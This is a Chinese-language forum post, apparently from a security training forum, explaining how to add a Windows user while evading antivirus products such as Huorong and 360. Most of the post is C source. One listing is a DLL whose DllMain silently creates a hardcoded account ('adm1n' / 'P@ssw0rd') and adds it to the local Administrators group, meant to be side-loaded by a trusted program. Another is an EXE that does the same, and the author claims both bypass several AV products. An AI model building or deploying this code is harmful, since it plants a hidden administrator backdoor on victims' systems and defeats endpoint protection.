找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 63|回复: 0

[原创] 绕过杀软添加用户

[复制链接]

91

主题

0

回帖

371

积分

管理员

积分
371
发表于 2025-12-9 15:48:41 | 显示全部楼层 |阅读模式
绕过杀软添加用户
一、概述
在渗透过的过程 少不了要添加账号,现在防护软件都会对添加用户的操作进行拦截。
在终端中执行添加用户命令  net user moonsec sb123 /add火绒会对此操作进行拦截。
二、绕过
上传net1.exe 或 net.exe 对此进行重名  到别的路径执行该命令也是拦截。
在winapi中 提供添加用户函数 https://learn.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd 并且提供了代码
  1. #ifndef UNICODE
  2. #define UNICODE
  3. #endif
  4. #pragma comment(lib, "netapi32.lib")

  5. #include <stdio.h>
  6. #include <windows.h>
  7. #include <lm.h>

  8. int wmain(int argc, wchar_t *argv[])
  9. {
  10.    USER_INFO_1 ui;
  11.    DWORD dwLevel = 1;
  12.    DWORD dwError = 0;
  13.    NET_API_STATUS nStatus;

  14.    if (argc != 3)
  15.    {
  16.       fwprintf(stderr, L"Usage: %s \\\\ServerName UserName\n", argv[0]);
  17.       exit(1);
  18.    }
  19.    //
  20.    // Set up the USER_INFO_1 structure.
  21.    //  USER_PRIV_USER: name identifies a user,
  22.    //    rather than an administrator or a guest.
  23.    //  UF_SCRIPT: required
  24.    //
  25.    ui.usri1_name = argv[2];
  26.    ui.usri1_password = argv[2];
  27.    ui.usri1_priv = USER_PRIV_USER;
  28.    ui.usri1_home_dir = NULL;
  29.    ui.usri1_comment = NULL;
  30.    ui.usri1_flags = UF_SCRIPT;
  31.    ui.usri1_script_path = NULL;
  32.    //
  33.    // Call the NetUserAdd function, specifying level 1.
  34.    //
  35.    nStatus = NetUserAdd(argv[1],
  36.                         dwLevel,
  37.                         (LPBYTE)&ui,
  38.                         &dwError);
  39.    //
  40.    // If the call succeeds, inform the user.
  41.    //
  42.    if (nStatus == NERR_Success)
  43.       fwprintf(stderr, L"User %s has been successfully added on %s\n",
  44.                argv[2], argv[1]);
  45.    //
  46.    // Otherwise, print the system error.
  47.    //
  48.    else
  49.       fprintf(stderr, "A system error has occurred: %d\n", nStatus);

  50.    return 0;
  51. }
复制代码
改进代码 dll版本
  1. #include "pch.h"
  2. #include <Windows.h>
  3. #include <lm.h>
  4. #include <iostream>
  5. #include <fstream>

  6. #pragma comment(lib, "netapi32.lib")

  7. wchar_t username[256] = L"adm1n";
  8. wchar_t password[256] = L"P@ssw0rd";

  9. BOOL APIENTRY DllMain( HMODULE hModule,
  10.                        DWORD  ul_reason_for_call,
  11.                        LPVOID lpReserved
  12.                      )
  13. {
  14.     // Create the user
  15.     USER_INFO_1 user;
  16.     memset(&user, 0, sizeof(USER_INFO_1));
  17.     user.usri1_name = username;
  18.     user.usri1_password = password;
  19.     user.usri1_priv = USER_PRIV_USER;
  20.     user.usri1_flags = UF_DONT_EXPIRE_PASSWD;
  21.     NetUserAdd(NULL, 1, (LPBYTE)&user, NULL);

  22.     // Add the user to the administrators group
  23.     LOCALGROUP_MEMBERS_INFO_3 members;
  24.     members.lgrmi3_domainandname = username;
  25.     NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&members, 1);
  26. }
复制代码
这个版本可以用白程序加载dll执行 可以过掉一部分杀软。
也可以exe版本
  1. #ifndef UNICODE
  2. #define UNICODE
  3. #endif
  4. #pragma comment(lib, "netapi32.lib")

  5. #include <stdio.h>
  6. #include <windows.h>
  7. #include <lm.h>

  8. int wmain(int argc, wchar_t* argv[])
  9. {
  10.     USER_INFO_1 ui;
  11.     DWORD dwLevel = 1;
  12.     DWORD dwError = 0;
  13.     NET_API_STATUS nStatus;

  14.     if (argc != 3)
  15.     {

  16.         fwprintf(stderr, L"Usage:.%s <username> <password>\n", argv[0]);
  17.         exit(1);
  18.     }

  19.     ui.usri1_name = argv[1];
  20.     ui.usri1_password = argv[2];
  21.     ui.usri1_priv = USER_PRIV_USER;
  22.     ui.usri1_home_dir = NULL;
  23.     ui.usri1_comment = NULL;
  24.     ui.usri1_flags = UF_SCRIPT;
  25.     ui.usri1_script_path = NULL;

  26.     nStatus = NetUserAdd(NULL,
  27.         dwLevel,
  28.         (LPBYTE)&ui,
  29.         &dwError);

  30.     if (nStatus == NERR_Success)
  31.         fwprintf(stderr, L"User %s has been successfully added\n", argv[1]);

  32.     else
  33.         fprintf(stderr, "A system error has occurred: %d\n", nStatus);

  34.     LOCALGROUP_MEMBERS_INFO_3 account;
  35.     account.lgrmi3_domainandname = argv[1];

  36.     NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);

  37.     if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS) {
  38.         printf("Administrators added Successfully!");
  39.     }
  40.     else {
  41.         printf("Administrators added Failed!");
  42.     }
  43.     return 0;
  44. }
复制代码
编译生成后 执行 大多少都可以过 例如火绒 360有些版本能过。
源码下载







本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|暗月安全培训论坛

GMT+8, 2026-1-8 16:33 , Processed in 0.054854 second(s), 19 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表